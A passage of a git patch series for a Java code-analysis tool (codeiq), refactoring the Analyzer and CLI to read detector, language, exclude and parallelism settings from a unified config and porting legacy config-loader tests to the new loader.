assertThrows(ConfigLoadException.class, + () -> UnifiedConfigLoader.load(yml)); + assertTrue(e.getMessage().contains("indexing.parallelism"), + "error must name the field; got: " + e.getMessage()); + } + + @Test + void detectorsCamelCaseAliasesAcceptedWithWarn(@TempDir Path tmp) throws Exception { + // Back-compat: existing configs that spelled the filter keys in camelCase + // should still load, but emit a deprecation WARN naming the canonical snake_case form. + Path yml = tmp.resolve("codeiq.yml"); + Files.writeString(yml, + "detectors:\n" + + " detectorCategories: [endpoints]\n" + + " detectorInclude: [spring-rest-detector]\n"); + + ListAppender appender = attachAppender(); + try { + CodeIqUnifiedConfig cfg = UnifiedConfigLoader.load(yml); + assertEquals(List.of("endpoints"), cfg.detectors().categories()); + assertEquals(List.of("spring-rest-detector"), cfg.detectors().include()); + assertWarnsExactlyFor(appender, + "detectors.detectorCategories", "detectors.detectorInclude"); + } finally { + detachAppender(appender); + } + } + + @Test + void missingDetectorsSectionMeansEmptyLists(@TempDir Path tmp) throws Exception { + // Loading an empty codeiq.yml must leave detectors at empty defaults — no + // surprise null/NPE when Analyzer reads categories()/include(). + Path yml = tmp.resolve("codeiq.yml"); + Files.writeString(yml, "serving:\n port: 8080\n"); + CodeIqUnifiedConfig cfg = UnifiedConfigLoader.load(yml); + assertNotNull(cfg.detectors().categories()); + assertTrue(cfg.detectors().categories().isEmpty()); + assertNotNull(cfg.detectors().include()); + assertTrue(cfg.detectors().include().isEmpty()); + assertNotNull(cfg.indexing().parsers()); + assertTrue(cfg.indexing().parsers().isEmpty()); + } + @Test void aliasWarnIsDedupedPerFile(@TempDir Path tmp) throws Exception { // A single load() call must emit at most ONE WARN per alias even if the diff --git a/src/test/resources/config-unified/full.yml b/src/test/resources/config-unified/full.yml index be78dd7b..d84b48b4 100644 --- a/src/test/resources/config-unified/full.yml +++ b/src/test/resources/config-unified/full.yml @@ -14,8 +14,9 @@ indexing: exclude: ['**/generated/**'] incremental: true cache_dir: .code-iq/cache - parallelism: auto + parallelism: 8 batch_size: 500 + parsers: [javaparser, antlr] serving: port: 9090 bind_address: 127.0.0.1 @@ -46,6 +47,8 @@ observability: log_level: info detectors: profiles: [default] + categories: [endpoints, entities] + include: [spring-rest-detector] overrides: SpringRestDetector: enabled: true From 2d5d4aeb9e4ab09293631ada54256afdf1d5a075 Mon Sep 17 00:00:00 2001 From: Amit Kumar Date: Thu, 23 Apr 2026 12:15:37 +0000 Subject: [PATCH 2/6] refactor(analyzer): drop ProjectConfigLoader reload, read filters from CodeIqUnifiedConfig MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Before: runWithCache/runBatchedWithCache/runAnalyzeBatched each called ProjectConfigLoader.loadProjectConfig(root) and re-parsed .osscodeiq.yml from disk to pull detector category/include filters, language filter, exclude patterns, and pipeline.parallelism. The unified config bean has already resolved these at startup (UnifiedConfigBeans.codeIqUnifiedConfig) so the per-call file I/O is pure waste. After: inject CodeIqUnifiedConfig into Analyzer and project the relevant leaves through a small private PipelineFilters record (categories, include, languages, exclude, parallelism). All three call sites now read filters from the injected tree; no file I/O, no legacy POJO, no static loader. Back-compat constructor (6-arg, used by 5 existing tests) preserved — defaults the unified overlay to CodeIqUnifiedConfig.empty(), matching the pre-Phase-B "no .osscodeiq.yml present" path (no filters, auto parallelism). SmartIndexTest.setUp updated to the new 9-arg primary constructor with CodeIqUnifiedConfig.empty() (no filter semantics — the test doesn't exercise filters). Full suite: 3291 tests, 0 failures, 31 skipped. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../randomcodespace/iq/analyzer/Analyzer.java | 148 +++++++++++------- .../iq/analyzer/SmartIndexTest.java | 4 +- 2 files changed, 92 insertions(+), 60 deletions(-) diff --git a/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java b/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java index 56010a38..c4f19427 100644 --- a/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java +++ b/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java @@ -6,8 +6,7 @@ import io.github.randomcodespace.iq.cache.FileHasher; import io.github.randomcodespace.iq.cli.VersionCommand; import io.github.randomcodespace.iq.config.CodeIqConfig; -import io.github.randomcodespace.iq.config.ProjectConfig; -import io.github.randomcodespace.iq.config.ProjectConfigLoader; +import io.github.randomcodespace.iq.config.unified.CodeIqUnifiedConfig; import io.github.randomcodespace.iq.detector.AbstractAntlrDetector; import io.github.randomcodespace.iq.detector.Detector; import io.github.randomcodespace.iq.detector.DetectorContext; @@ -88,9 +87,36 @@ public class Analyzer { private final LayerClassifier layerClassifier; private final List linkers; private final CodeIqConfig config; + private final CodeIqUnifiedConfig unifiedConfig; private final ConfigScanner configScanner; private final ArchitectureKeywordFilter keywordFilter; + /** + * Projection of the injected {@link CodeIqUnifiedConfig} tree into the flat + * shape the pipeline consumes: detector category/include filters, language + + * exclude filters, and a parallelism override ({@code null} = auto-detect). + * + *

Lists are always non-null; an empty list means "no filter" (same + * semantics as the pre-Phase-B legacy {@code ProjectConfig.empty()} path). + */ + private record PipelineFilters( + List categories, + List include, + List languages, + List exclude, + Integer parallelism) {} + + private PipelineFilters pipelineFilters() { + var indexing = unifiedConfig.indexing(); + var detectors = unifiedConfig.detectors(); + return new PipelineFilters( + detectors.categories() == null ? List.of() : detectors.categories(), + detectors.include() == null ? List.of() : detectors.include(), + indexing.languages() == null ? List.of() : indexing.languages(), + indexing.exclude() == null ? List.of() : indexing.exclude(), + indexing.parallelism()); + } + /** Primary constructor — used by Spring Boot dependency injection. */ @Autowired public Analyzer( @@ -100,6 +126,7 @@ public Analyzer( LayerClassifier layerClassifier, List linkers, CodeIqConfig config, + CodeIqUnifiedConfig unifiedConfig, ConfigScanner configScanner, ArchitectureKeywordFilter keywordFilter ) { @@ -109,11 +136,20 @@ public Analyzer( this.layerClassifier = layerClassifier; this.linkers = linkers; this.config = config; + this.unifiedConfig = unifiedConfig; this.configScanner = configScanner; this.keywordFilter = keywordFilter; } - /** Backward-compatible constructor for tests that don't need smart indexing. */ + /** + * Backward-compatible constructor for tests that don't need smart indexing. + * + *

Defaults the unified-config overlay to {@link CodeIqUnifiedConfig#empty()} — + * equivalent to the pre-Phase-B "no {@code .osscodeiq.yml} present" path + * (no detector filters, no language filter, auto parallelism). Tests that + * need to exercise filters should use the primary constructor with a + * hand-rolled {@link CodeIqUnifiedConfig}. + */ public Analyzer( DetectorRegistry registry, StructuredParser parser, @@ -123,6 +159,7 @@ public Analyzer( CodeIqConfig config ) { this(registry, parser, fileDiscovery, layerClassifier, linkers, config, + CodeIqUnifiedConfig.empty(), new ConfigScanner(), new ArchitectureKeywordFilter()); } @@ -188,27 +225,26 @@ public AnalysisResult run(Path repoPath, Integer parallelism, boolean incrementa private AnalysisResult runWithCache(Path root, Integer parallelism, AnalysisCache cache, Consumer report, Instant start) { - // 0. Load project config for pipeline filtering - ProjectConfig projectConfig = ProjectConfigLoader.loadProjectConfig(root); + // 0. Read pipeline filters from the injected unified config (single source of truth + // resolved at startup by UnifiedConfigBeans — no per-call file I/O). + PipelineFilters filters = pipelineFilters(); DetectorRegistry effectiveRegistry = registry; - // Apply detector category filter from project config - if (projectConfig.hasDetectorCategoryFilter()) { - effectiveRegistry = effectiveRegistry.filterByCategories( - projectConfig.getDetectorCategories()); - report.accept("Detector categories: " + projectConfig.getDetectorCategories()); + // Apply detector category filter from unified config + if (!filters.categories().isEmpty()) { + effectiveRegistry = effectiveRegistry.filterByCategories(filters.categories()); + report.accept("Detector categories: " + filters.categories()); } - // Apply detector include filter from project config - if (projectConfig.hasDetectorIncludeFilter()) { - effectiveRegistry = effectiveRegistry.filterByNames( - projectConfig.getDetectorInclude()); - report.accept("Detector include: " + projectConfig.getDetectorInclude()); + // Apply detector include filter from unified config + if (!filters.include().isEmpty()) { + effectiveRegistry = effectiveRegistry.filterByNames(filters.include()); + report.accept("Detector include: " + filters.include()); } - // Apply parallelism override from project config - if (parallelism == null && projectConfig.getPipelineParallelism() != null) { - parallelism = projectConfig.getPipelineParallelism(); + // Apply parallelism override from unified config (null = auto-detect) + if (parallelism == null && filters.parallelism() != null) { + parallelism = filters.parallelism(); report.accept("Pipeline parallelism: " + parallelism + " (from config)"); } @@ -216,23 +252,22 @@ private AnalysisResult runWithCache(Path root, Integer parallelism, AnalysisCach report.accept("Discovering files..."); List files = fileDiscovery.discover(root); - // Apply language filter from project config - if (projectConfig.hasLanguageFilter()) { - Set allowedLanguages = new HashSet<>(projectConfig.getLanguages()); + // Apply language filter from unified config + if (!filters.languages().isEmpty()) { + Set allowedLanguages = new HashSet<>(filters.languages()); files = files.stream() .filter(f -> allowedLanguages.contains(f.language())) .toList(); - report.accept("Language filter active: " + projectConfig.getLanguages()); + report.accept("Language filter active: " + filters.languages()); } - // Apply exclude patterns from project config - if (projectConfig.hasExcludePatterns()) { - List excludes = projectConfig.getExclude(); - List compiledExcludes = compileExcludePatterns(excludes); + // Apply exclude patterns from unified config + if (!filters.exclude().isEmpty()) { + List compiledExcludes = compileExcludePatterns(filters.exclude()); files = files.stream() .filter(f -> !matchesAnyCompiledExclude(f.path().toString(), compiledExcludes)) .toList(); - report.accept("Exclude patterns: " + excludes); + report.accept("Exclude patterns: " + filters.exclude()); } int totalFiles = files.size(); @@ -486,22 +521,20 @@ public AnalysisResult runBatchedIndex(Path repoPath, Integer parallelism, int ba private AnalysisResult runBatchedWithCache(Path root, Integer parallelism, int batchSize, boolean incremental, AnalysisCache cache, Consumer report, Instant start) { - // 0. Load project config for pipeline filtering - ProjectConfig projectConfig = ProjectConfigLoader.loadProjectConfig(root); + // 0. Read pipeline filters from the injected unified config. + PipelineFilters filters = pipelineFilters(); DetectorRegistry effectiveRegistry = registry; - if (projectConfig.hasDetectorCategoryFilter()) { - effectiveRegistry = effectiveRegistry.filterByCategories( - projectConfig.getDetectorCategories()); - report.accept("Detector categories: " + projectConfig.getDetectorCategories()); + if (!filters.categories().isEmpty()) { + effectiveRegistry = effectiveRegistry.filterByCategories(filters.categories()); + report.accept("Detector categories: " + filters.categories()); } - if (projectConfig.hasDetectorIncludeFilter()) { - effectiveRegistry = effectiveRegistry.filterByNames( - projectConfig.getDetectorInclude()); - report.accept("Detector include: " + projectConfig.getDetectorInclude()); + if (!filters.include().isEmpty()) { + effectiveRegistry = effectiveRegistry.filterByNames(filters.include()); + report.accept("Detector include: " + filters.include()); } - if (parallelism == null && projectConfig.getPipelineParallelism() != null) { - parallelism = projectConfig.getPipelineParallelism(); + if (parallelism == null && filters.parallelism() != null) { + parallelism = filters.parallelism(); report.accept("Pipeline parallelism: " + parallelism + " (from config)"); } @@ -509,20 +542,19 @@ private AnalysisResult runBatchedWithCache(Path root, Integer parallelism, int b report.accept("Discovering files..."); List files = fileDiscovery.discover(root); - if (projectConfig.hasLanguageFilter()) { - Set allowedLanguages = new HashSet<>(projectConfig.getLanguages()); + if (!filters.languages().isEmpty()) { + Set allowedLanguages = new HashSet<>(filters.languages()); files = files.stream() .filter(f -> allowedLanguages.contains(f.language())) .toList(); - report.accept("Language filter active: " + projectConfig.getLanguages()); + report.accept("Language filter active: " + filters.languages()); } - if (projectConfig.hasExcludePatterns()) { - List excludes = projectConfig.getExclude(); - List compiledExcludes = compileExcludePatterns(excludes); + if (!filters.exclude().isEmpty()) { + List compiledExcludes = compileExcludePatterns(filters.exclude()); files = files.stream() .filter(f -> !matchesAnyCompiledExclude(f.path().toString(), compiledExcludes)) .toList(); - report.accept("Exclude patterns: " + excludes); + report.accept("Exclude patterns: " + filters.exclude()); } int totalFiles = files.size(); @@ -790,30 +822,28 @@ private AnalysisResult runSmartWithCache(Path root, Integer parallelism, int bat Instant phase2Start = Instant.now(); report.accept("Phase 2: Discovering files..."); - ProjectConfig projectConfig = ProjectConfigLoader.loadProjectConfig(root); + PipelineFilters filters = pipelineFilters(); DetectorRegistry effectiveRegistry = registry; - if (projectConfig.hasDetectorCategoryFilter()) { - effectiveRegistry = effectiveRegistry.filterByCategories( - projectConfig.getDetectorCategories()); + if (!filters.categories().isEmpty()) { + effectiveRegistry = effectiveRegistry.filterByCategories(filters.categories()); } - if (projectConfig.hasDetectorIncludeFilter()) { - effectiveRegistry = effectiveRegistry.filterByNames( - projectConfig.getDetectorInclude()); + if (!filters.include().isEmpty()) { + effectiveRegistry = effectiveRegistry.filterByNames(filters.include()); } - if (parallelism == null && projectConfig.getPipelineParallelism() != null) { - parallelism = projectConfig.getPipelineParallelism(); + if (parallelism == null && filters.parallelism() != null) { + parallelism = filters.parallelism(); } List allFiles = fileDiscovery.discover(root); - if (projectConfig.hasLanguageFilter()) { - Set allowed = new HashSet<>(projectConfig.getLanguages()); + if (!filters.languages().isEmpty()) { + Set allowed = new HashSet<>(filters.languages()); allFiles = allFiles.stream().filter(f -> allowed.contains(f.language())).toList(); } - if (projectConfig.hasExcludePatterns()) { + if (!filters.exclude().isEmpty()) { List compiledExcludes = - compileExcludePatterns(projectConfig.getExclude()); + compileExcludePatterns(filters.exclude()); allFiles = allFiles.stream() .filter(f -> !matchesAnyCompiledExclude(f.path().toString(), compiledExcludes)) .toList(); diff --git a/src/test/java/io/github/randomcodespace/iq/analyzer/SmartIndexTest.java b/src/test/java/io/github/randomcodespace/iq/analyzer/SmartIndexTest.java index fd682594..0c7f1d5d 100644 --- a/src/test/java/io/github/randomcodespace/iq/analyzer/SmartIndexTest.java +++ b/src/test/java/io/github/randomcodespace/iq/analyzer/SmartIndexTest.java @@ -2,6 +2,7 @@ import io.github.randomcodespace.iq.analyzer.linker.Linker; import io.github.randomcodespace.iq.config.CodeIqConfig; +import io.github.randomcodespace.iq.config.unified.CodeIqUnifiedConfig; import io.github.randomcodespace.iq.detector.Detector; import io.github.randomcodespace.iq.detector.DetectorContext; import io.github.randomcodespace.iq.detector.DetectorRegistry; @@ -64,7 +65,8 @@ public DetectorResult detect(DetectorContext ctx) { List linkers = List.of(); analyzer = new Analyzer(registry, parser, fileDiscovery, layerClassifier, linkers, - new CodeIqConfig(), new ConfigScanner(), new ArchitectureKeywordFilter()); + new CodeIqConfig(), CodeIqUnifiedConfig.empty(), + new ConfigScanner(), new ArchitectureKeywordFilter()); } // ------------------------------------------------------------------------- From 6d7e4340871b829ae5e714da52604bd544df9eaf Mon Sep 17 00:00:00 2001 From: Amit Kumar Date: Thu, 23 Apr 2026 12:17:36 +0000 Subject: [PATCH 3/6] refactor(cli): drop redundant ProjectConfigLoader reload in CliOutput CliOutput.configureFromOptions called ProjectConfigLoader.loadIfPresent to re-apply cache_dir / max_depth / max_radius from .osscodeiq.yml onto the injected CodeIqConfig bean. Those fields are already resolved at Spring startup by UnifiedConfigBeans.codeIqConfig (via ConfigResolver + UnifiedConfigAdapter), so the re-read was pure duplication. Removed the reload call. The `root` parameter became unused and was dropped from the method signature; two callers (AnalyzeCommand, IndexCommand) updated accordingly. Full suite: 3291 tests, 0 failures, 31 skipped. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../randomcodespace/iq/cli/AnalyzeCommand.java | 2 +- .../github/randomcodespace/iq/cli/CliOutput.java | 14 ++++++++++---- .../randomcodespace/iq/cli/IndexCommand.java | 2 +- 3 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/main/java/io/github/randomcodespace/iq/cli/AnalyzeCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/AnalyzeCommand.java index b6c11366..6e132e1b 100644 --- a/src/main/java/io/github/randomcodespace/iq/cli/AnalyzeCommand.java +++ b/src/main/java/io/github/randomcodespace/iq/cli/AnalyzeCommand.java @@ -58,7 +58,7 @@ public AnalyzeCommand(Analyzer analyzer, CodeIqConfig config) { public Integer call() { Path root = path.toAbsolutePath().normalize(); - CliOutput.configureFromOptions(config, graphDir, serviceName, root); + CliOutput.configureFromOptions(config, graphDir, serviceName); NumberFormat nf = NumberFormat.getIntegerInstance(Locale.US); int cores = parallelism != null ? parallelism : Runtime.getRuntime().availableProcessors(); diff --git a/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java b/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java index a61e6e3e..ba852c68 100644 --- a/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java +++ b/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java @@ -80,12 +80,19 @@ static String format(String ansiFormatted) { } /** - * Configure shared CLI options: graph directory, service name, and project-level overrides. + * Configure shared CLI options: graph directory + service name. * Used by both {@code analyze} and {@code index} commands. + * + *

Project-level overrides ({@code cache_dir}, {@code max_depth}, + * {@code max_radius} from {@code codeiq.yml} / legacy {@code .osscodeiq.yml}) + * are already resolved at Spring startup by + * {@link io.github.randomcodespace.iq.config.UnifiedConfigBeans#codeIqConfig} + * via {@code ConfigResolver} + {@code UnifiedConfigAdapter}. The {@code config} + * bean passed in already carries those values, so re-reading the file here + * would be pure redundancy. */ static void configureFromOptions(io.github.randomcodespace.iq.config.CodeIqConfig config, - java.nio.file.Path graphDir, String serviceName, - java.nio.file.Path root) { + java.nio.file.Path graphDir, String serviceName) { if (graphDir != null) { java.nio.file.Path sharedDir = graphDir.toAbsolutePath().normalize(); config.setCacheDir(sharedDir.toString()); @@ -95,7 +102,6 @@ static void configureFromOptions(io.github.randomcodespace.iq.config.CodeIqConfi config.setServiceName(serviceName); info(" Service name: " + serviceName); } - io.github.randomcodespace.iq.config.ProjectConfigLoader.loadIfPresent(root, config); } /** diff --git a/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java index 9ead0fa7..4be97c39 100644 --- a/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java +++ b/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java @@ -70,7 +70,7 @@ public Integer call() { Path root = path.toAbsolutePath().normalize(); - CliOutput.configureFromOptions(config, graphDir, serviceName, root); + CliOutput.configureFromOptions(config, graphDir, serviceName); // Use configured batch size if not overridden on command line int effectiveBatchSize = batchSize > 0 ? batchSize : config.getBatchSize(); From c161312a4f2c9135bf79a01fe4144166944c5d3d Mon Sep 17 00:00:00 2001 From: Amit Kumar Date: Thu, 23 Apr 2026 12:20:01 +0000 Subject: [PATCH 4/6] refactor(test): port ProjectConfigLoaderApplyOverridesTest to unified config pipeline MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The legacy static API (ProjectConfigLoader.loadIfPresent / loadProjectConfig / parseProjectConfig) is being removed in the next commit. This test file previously exercised those methods directly; all cases are rewritten to drive the same behaviour through the Phase-B canonical shim ProjectConfigLoader.loadFrom(Path), asserting on the returned CodeIqUnifiedConfig (and the projected CodeIqConfig via UnifiedConfigAdapter for legacy-POJO-shaped assertions). Ported cases (11): - legacy cache_dir/max_depth/max_radius flow through to CodeIqConfig. - legacy languages/detectors.categories/detectors.include/exclude/parsers/ pipeline sections populate CodeIqUnifiedConfig. - missing .osscodeiq.yml returns CodeIqUnifiedConfig.empty() with no deprecation warning emitted. - SafeConstructor rejects unsafe YAML tags without executing arbitrary code (either returns a safe representation or throws ConfigLoadException; no code execution is the invariant). Dropped cases (3): - nestedAnalysisSectionDoesNotCrash / nestedOutputSectionDoesNotCrash: exercised dead branches inside the legacy applyOverrides that are being deleted entirely. - invalidMaxDepthFallsBackToDefault: the legacy applyOverrides silently coerced non-numeric max_depth back to the default via its toInt helper. The unified loader is deliberately strict — malformed scalars throw ConfigLoadException with the field path. That behaviour change is already covered by UnifiedConfigLoaderTest; preserving the old lenient semantics would mask real misconfiguration. Full suite: 3291 -> 3288 tests (-3 net), 0 failures, 31 skipped. Co-Authored-By: Claude Opus 4.7 (1M context) --- ...ProjectConfigLoaderApplyOverridesTest.java | 307 +++++++----------- 1 file changed, 124 insertions(+), 183 deletions(-) diff --git a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java index 3b13e670..dc31cd33 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java @@ -1,5 +1,6 @@ package io.github.randomcodespace.iq.config; +import io.github.randomcodespace.iq.config.unified.CodeIqUnifiedConfig; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.io.TempDir; @@ -11,232 +12,172 @@ import static org.junit.jupiter.api.Assertions.*; /** - * Tests for {@link ProjectConfigLoader#loadIfPresent} applyOverrides paths - * and {@link ProjectConfigLoader#loadProjectConfig} / parseProjectConfig. - * Covers dead branches at lines 167-178 (analysis/output nested sections). + * End-to-end tests for the legacy {@code .osscodeiq.yml} migration path. + * + *

Post-Phase-B cleanup, there is no public static {@code loadIfPresent} / + * {@code loadProjectConfig} API on {@link ProjectConfigLoader}. The same + * behaviour is now exercised through the canonical shim + * {@link ProjectConfigLoader#loadFrom(Path)}, which returns a + * {@link CodeIqUnifiedConfig} overlay for the PROJECT layer. Legacy flat + * keys ({@code cache_dir}, {@code max_depth}, {@code max_radius}) are + * translated into the unified tree and projected onto the legacy + * {@link CodeIqConfig} bean via {@link UnifiedConfigAdapter}. + * + *

The tests here pin the end-to-end behaviour of that migration path so + * existing {@code .osscodeiq.yml} users continue to get identical outcomes + * during the deprecation window. */ class ProjectConfigLoaderApplyOverridesTest { - @Test - void appliesCacheDirOverride(@TempDir Path tempDir) throws IOException { - Files.writeString(tempDir.resolve(".code-iq.yml"), - "cache_dir: my-custom-cache\n", StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertEquals("my-custom-cache", config.getCacheDir()); + private static ProjectConfigLoader.LoadResult loadLegacy(Path repo, String yaml) throws IOException { + Files.writeString(repo.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + return new ProjectConfigLoader().loadFrom(repo); } - @Test - void appliesMaxDepthAndMaxRadiusOverrides(@TempDir Path tempDir) throws IOException { - String yaml = """ - max_depth: 20 - max_radius: 15 - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertEquals(20, config.getMaxDepth()); - assertEquals(15, config.getMaxRadius()); - } + // ---- Legacy flat-key overrides project onto CodeIqConfig via the adapter ---- @Test - void nestedAnalysisSectionDoesNotCrash(@TempDir Path tempDir) throws IOException { - String yaml = """ - analysis: - parallelism: 8 - incremental: true - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertTrue(loaded); - // These are dead branches (stored for future use) but should not crash - assertEquals(10, config.getMaxDepth(), "Defaults should be preserved"); + void legacyCacheDirFlowsThroughToCodeIqConfig(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "cache_dir: my-custom-cache\n"); + CodeIqConfig adapted = UnifiedConfigAdapter.toCodeIqConfig(r.config()); + assertEquals("my-custom-cache", adapted.getCacheDir()); + assertTrue(r.deprecationWarningEmitted(), + ".osscodeiq.yml must emit a one-time deprecation WARN"); } @Test - void nestedOutputSectionDoesNotCrash(@TempDir Path tempDir) throws IOException { - String yaml = """ - output: - max_nodes: 5000 - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertTrue(loaded); - assertEquals(10, config.getMaxDepth(), "Defaults should be preserved"); + void legacyMaxDepthAndMaxRadiusFlowThroughToCodeIqConfig(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "max_depth: 20\nmax_radius: 15\n"); + CodeIqConfig adapted = UnifiedConfigAdapter.toCodeIqConfig(r.config()); + assertEquals(20, adapted.getMaxDepth()); + assertEquals(15, adapted.getMaxRadius()); } @Test - void combinedOverridesWithAllSections(@TempDir Path tempDir) throws IOException { - String yaml = """ - cache_dir: override-cache - max_depth: 5 - max_radius: 3 - analysis: - parallelism: 4 - incremental: false - output: - max_nodes: 1000 - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertTrue(loaded); - assertEquals("override-cache", config.getCacheDir()); - assertEquals(5, config.getMaxDepth()); - assertEquals(3, config.getMaxRadius()); + void legacyCombinedFlatKeysAllApply(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "cache_dir: override-cache\nmax_depth: 5\nmax_radius: 3\n"); + CodeIqConfig adapted = UnifiedConfigAdapter.toCodeIqConfig(r.config()); + assertEquals("override-cache", adapted.getCacheDir()); + assertEquals(5, adapted.getMaxDepth()); + assertEquals(3, adapted.getMaxRadius()); } - @Test - void invalidMaxDepthFallsBackToDefault(@TempDir Path tempDir) throws IOException { - String yaml = """ - max_depth: not_a_number - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - ProjectConfigLoader.loadIfPresent(tempDir, config); + // ---- Legacy filter sections flow into CodeIqUnifiedConfig ------------------ - assertEquals(10, config.getMaxDepth(), "Should fall back to default for non-numeric value"); + @Test + void legacyLanguagesSectionPopulatesIndexing(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + // Include at least one legacy flat key so translateLegacyToUnified is used + // (otherwise loadFrom delegates to the canonical UnifiedConfigLoader, which + // is also fine but a different code path tested elsewhere). + "cache_dir: .cache\nlanguages: [java, python, typescript]\n"); + CodeIqUnifiedConfig cfg = r.config(); + assertNotNull(cfg.indexing().languages()); + assertEquals(3, cfg.indexing().languages().size()); + assertTrue(cfg.indexing().languages().contains("java")); + assertTrue(cfg.indexing().languages().contains("python")); } - // --- parseProjectConfig / loadProjectConfig tests --- - @Test - void loadProjectConfigParsesLanguages(@TempDir Path tempDir) throws IOException { - String yaml = """ - languages: - - java - - python - - typescript - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); - assertNotNull(pc.getLanguages()); - assertEquals(3, pc.getLanguages().size()); - assertTrue(pc.getLanguages().contains("java")); - assertTrue(pc.getLanguages().contains("python")); + void legacyDetectorsSectionPopulatesDetectors(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "cache_dir: .cache\n" + + "detectors:\n" + + " categories: [endpoints, entities]\n" + + " include: [spring-rest-detector]\n"); + CodeIqUnifiedConfig cfg = r.config(); + assertEquals(java.util.List.of("endpoints", "entities"), cfg.detectors().categories()); + assertEquals(java.util.List.of("spring-rest-detector"), cfg.detectors().include()); } @Test - void loadProjectConfigParsesDetectorSettings(@TempDir Path tempDir) throws IOException { - String yaml = """ - detectors: - categories: - - endpoints - - entities - include: - - spring-rest-detector - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); - assertNotNull(pc.getDetectorCategories()); - assertEquals(2, pc.getDetectorCategories().size()); - assertNotNull(pc.getDetectorInclude()); - assertEquals(1, pc.getDetectorInclude().size()); + void legacyPipelineSectionPopulatesIndexing(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "cache_dir: .cache\n" + + "pipeline:\n" + + " parallelism: 4\n" + + " batch-size: 100\n"); + CodeIqUnifiedConfig cfg = r.config(); + assertEquals(4, cfg.indexing().parallelism()); + assertEquals(100, cfg.indexing().batchSize()); } @Test - void loadProjectConfigParsesPipelineSettings(@TempDir Path tempDir) throws IOException { - String yaml = """ - pipeline: - parallelism: 4 - batch-size: 100 - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); - assertEquals(4, pc.getPipelineParallelism()); - assertEquals(100, pc.getPipelineBatchSize()); + void legacyExcludePatternsPopulateIndexing(@TempDir Path tempDir) throws IOException { + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "cache_dir: .cache\nexclude:\n - '*.generated.java'\n - 'vendor/**'\n"); + CodeIqUnifiedConfig cfg = r.config(); + assertEquals(java.util.List.of("*.generated.java", "vendor/**"), + cfg.indexing().exclude()); } @Test - void loadProjectConfigReturnsEmptyForMissingFile(@TempDir Path tempDir) { - ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); - assertNull(pc.getLanguages()); - assertNull(pc.getDetectorCategories()); - assertNull(pc.getPipelineParallelism()); + void legacyParsersMapFlattensToParsersList(@TempDir Path tempDir) throws IOException { + // The legacy `.osscodeiq.yml` shape was `parsers: {lang: parserName}` (a map). + // The unified tree carries `indexing.parsers` as List. The translator + // flattens the map's values (Analyzer never consumed the per-language map + // at runtime — the list is sufficient). + ProjectConfigLoader.LoadResult r = loadLegacy(tempDir, + "cache_dir: .cache\nparsers:\n java: javaparser\n python: antlr\n"); + CodeIqUnifiedConfig cfg = r.config(); + assertNotNull(cfg.indexing().parsers()); + assertTrue(cfg.indexing().parsers().contains("javaparser"), + "flattened parser names must include 'javaparser'; got: " + cfg.indexing().parsers()); + assertTrue(cfg.indexing().parsers().contains("antlr"), + "flattened parser names must include 